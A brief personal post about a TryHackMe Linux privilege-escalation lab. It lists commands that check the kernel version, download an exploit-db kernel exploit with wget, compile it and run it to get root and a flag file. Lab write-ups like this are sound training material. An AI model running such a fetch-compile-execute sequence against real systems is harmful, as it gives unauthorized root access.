I have many Linux servers at home. All on latest LTS kernel. This part of Jr. Pentester @ TryHackMe was fun to do. Going through this Linux Privilege Escalation was an interesting module.
uname -a
3.13.0.24-generic
wget https://www.exploit-db.com/download/37292
mv 37292 exploit.c
gcc exploit.c -o exploit
./exploit
This gave me whoami root. I was able to get to /home/user with the flag1.txt file.